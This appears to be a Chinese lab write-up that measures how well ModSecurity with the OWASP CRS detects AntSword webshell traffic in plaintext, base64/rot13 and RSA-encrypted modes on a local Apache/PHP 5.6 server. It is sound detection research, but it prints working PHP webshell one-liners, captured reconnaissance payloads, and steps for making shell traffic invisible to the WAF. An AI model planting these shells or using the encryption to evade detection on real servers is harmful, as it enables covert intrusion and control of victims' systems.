本地環境組建
從保留的截圖來看，對方的php版本是5.6.40，所以我要搭一個apache+php5.6.40的測試環境。在virtualbox中打開，復制centos鏡像系統鏈接，并按照以下步驟進行配置。 ? ?
1. 安裝apache ? ?
yum install -y httpd httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Aug 8 2019 11:41:18
2. 安裝php5.6 ? ?
yum -y install epel-release rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w yum -y install php56w-mcrypt php56w-soap php56w-intl php56w-pdo systemctl restart httpd.service php -v PHP 5.6.40 (cli) (built: Jan 12 2019 13:11:15) copyright (c) 1997-2016 The PHP Group
做一個index.php用以顯示phpinfo()，本機訪問時為了測試方便關閉firewalld ? ?
systemctl stop firewalld //當然也可以通過firewall-cmd去開放端口
3.?為了后面查看攻擊流量，再裝一個wireshark，包含wireshark-gnome等等，直接用*替代了。
yum install wireshark*
4.?配置apache-modsecurity手邊沒有waf設備，沒法對流量進行測試，于是用mode-security，以及OWASP（開放Web應用程序安全性項目）核心規則集-CRS進行測試，縱然效果不如實際場景來的直觀，但足以說明問題。
yum -y install mod_security cd /etc/httpd git clone https://github.com/SpiderLabs/owasp-modsecurity- crs.git mv owasp-modsecurity-crs modsecurity.d cd modsecurity-crs cp crs-setup.conf.example crs-setup.conf vi /etc/httpd/conf/httpd.conf Include conf.modules.d/*.conf Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf systemctl restart httpd
我們將將modsecurity的默認配置修改為僅記錄攻擊事件，而不阻斷其進程。 ? ?
vim /etc/httpd/conf.d/mod_security.conf SecRuleEngine On (攔截) SecRuleEngine DetectionOnly 記錄 tail -f /var/log/httpd/model/modsec_audit.log //查看攔截日志
測試一些攻擊向量會在log里看到記錄，證明配置完成。環境搭建完成。
攻擊流量配置、分析、檢測
明文php-webshell配置
首先寫個一句話看看明文webshell流量傳輸。 ? ?
vim test1.php <?php @eval($_POST['aaaa']); ?>
配置蟻劍進行連接 ? ?
明文流量分析
用wireshark查看測試連接的流量 ? ?
POST /test1.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 993 Connection: close aaaa=@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; }; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "620e2fc"; echo @asenc($output); echo "71a0ccfbc1"; } ob_start(); try{ $D=dirname($_SERVER["SCRIPT_FILENAME"] //dirname()函數獲取給定文件路徑中的目錄部分，而$_SERVER['SCRIPT_FILENAME']全局預定義變量用于獲取當前執行腳本的完整路徑 ); if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); //如果沒有獲取到就用PATH_TRANSLATED,獲取當前腳本所在文件系統（非文檔根目錄）的基本路徑。這是在服務器進行虛擬到真實路徑的映像后的結果。Apache 2 用戶可以使用httpd.conf 中的 AcceptPathInfo On 來定義 PATH_INFO。 $R="{$D}"; if(substr($D,0,1)!="/") { foreach(range("C","Z")as $L) if(is_dir("{$L}:"))$R.="{$L}:"; } else{$R.="/";} $R.=" "; //以上是判斷windows或者linux盤符，進而把獲取的目錄信息存入變量 $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; //posix_getegid()返回當前進程的有效用戶組ID，posix_geteuid()返回當前進程的有效用戶ID $s=($u)?$u["name"]:@get_current_user(); //get_current_user()方法進行獲得PHP當前腳本所有者名稱 $R.=php_uname(); //php_uname返回運行 PHP 的系統的有關信息 $R.="{$s}"; echo $R;;} catch(Exception $e) {echo "ERROR://".$e->getMessage();} ; asoutput(); die();//輸出 HTTP/1.1 200 OK Date: Wed, 29 Jan 2020 12:53:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 136 Connection: close Content-Type: text/html; charset=UTF-8 620e2fc/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache71a0ccfbc1
為了更加清楚antsword發出的流量包，我認真看了一下發的包，并查了一些相關函數，做注釋的同時感嘆了PHP函數的牛逼，并勾起了我的好奇心，對這幾個函數做了本地測試。 ? ?
<?php echo posix_getegid(); echo posix_getlogin(); echo get_current_user(); echo php_uname();
0 t1ger root Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64
果然牛逼！和返回包現象保持了一致。這句話可以這樣重寫：若直接探測明文，則該流量在waf面前毫無遮擋可言，相當于自動暴露身份
明文流量檢測
waf測試結果如下： ? ?
Message: Warning. Pattern match "^[d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] Message: Warning. ..... ..... Apache-Handler: php5-script Stopwatch: 1580358081210887 7750 (- - -) Stopwatch3: 1580358081210887 7750; combined=5379, p1=753, p2=4202, p3=42, p4=155, p5=227, sr=194, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0. Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Engine-Mode: "DETECTION_ONLY"
統計數據如下，匹配規則數按照grep line|wc -l計算 ? ?
| Apache-Error | Message | 匹配規則數 | level |
|---|---|---|---|
| 11 | 11 | 22 | 3 |
接下來我們先測對稱密碼。 ? ?
Base64&&rot13 webshell配置
Antsword自帶幾個可供測試的shell，給我們提供了非常大的方便。
我順便貼一下代碼。先來看看base64的代碼 ? ?
<?php $ant=base64_decode("YXNzZXJ0"); $ant($_POST['ant']); ?>
Base64&&rot13 流量分析
POST /php_assert_script.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 942 Connection: close ant=%40eval(%40base64_decode(%24_POST%5Bq9c4fa426fb243%5D))%3B&q9c4fa426fb243=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMzRhZTE3IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI1YmJhN2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D
經過base64加密后的流量，除了eval函數外，應至少不包含這么多的高危函數。加密后，我們可以再進行測試。 ? ?
Base64&&rot13 webshell流量檢測
waf測試結果如下： ? ?
Message: Warning. Pattern match "^[d.:]+$" at REQUEST_HEADERS:Host. [file Message: Warning. Matched phrase "base64_decode" at ARGS:ant. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "301"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:ant: @eval(@base64_decode($_post[y07ae431d0730c]));"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] ... ...
統計數據如下
| Apache-Error | Message | 匹配規則數 | level |
|---|---|---|---|
| 7 | 7 | 14 | 3 |
通過Antsword界面配置rot13加密及解密，抓包看了下流量，僅僅是將base64的加密函數變成了str_rot13
ant=%40eval(%40base64_decode -> ant=%40eval(%40str_rot13(
攔截數據和base差不多，waf統計數據如下
| Apache-Error | Message | 匹配規則數 | level |
|---|---|---|---|
| 10 | 7 | 14 | 3 |
從中可見，即使使用對稱加密算法，eval、base64和rot13等函數仍然可能引發較高級別的警告。筆者嘗試使用antsword提供的非對稱加密算法來減少觸發告警的數量，與明文傳輸相比可以減少一半的告警。
RSA加密流量配置
從版本2.1.0開始，Antsword的作者添加了RSA模式。蟻劍默認下僅支持PHP。另外需要Server開啟php_openssl拓展。
修改php.ini，去掉extension=php_openssl.dll前的注釋，重啟Apache
使用方法：
Antsword->系統設置->編碼管理->新建編碼器->PHP RSA->命名為rsa_php->點擊RSA配置->生成
1、將下方的php代碼copy到虛擬機里，命名為rsa.php
2、配置antsword連接類型選擇rsa_php
3、測試連接
RSA加密流量分析
貼上wireshark抓的流量
POST /rsa.php HTTP/1.1 Host: 192.168.1.13 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 1712 Connection: close ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth7jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh35dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih4pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3DHTTP/1.1 200 OK Date: Thu, 30 Jan 2020 05:47:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 133 Connection: close Content-Type: text/html; charset=UTF-8 8ee773/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache47970246
經歷非對稱加密算法之后,整個流量傳輸的數據除了length之外,肉眼已經分別不出來, 這個效果筆者比較滿意.
RSA加密流量檢測
Message: Warning. Pattern match "^[d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] Apache-Handler: php5-script Stopwatch: 1580363229118571 7666 (- - -) Stopwatch3: 1580363229118571 7666; combined=6153, p1=574, p2=5170, p3=39, p4=156, p5=213, sr=205, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0. Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40 Engine-Mode: "DETECTION_ONLY"
| Apache-Error | Message | 匹配規則數 | level | | ------------ | ------- | ---------- | ----- | | 1 | 1 | 1 | -- |
waf也只能檢測到Host header is a numeric IP address,這基本是說waf對于RSA加密的webshell流量基本沒什么防護能力，往后的安全設備檢測只能依賴于殺毒軟件。
這樣的加密程度對筆者本次實驗來說已經夠用了。然而，有許多許多問題仍然存在，例如繞過殺毒軟件、代碼混淆等等。每個方面都需要集中注意、細心和持久的投入。
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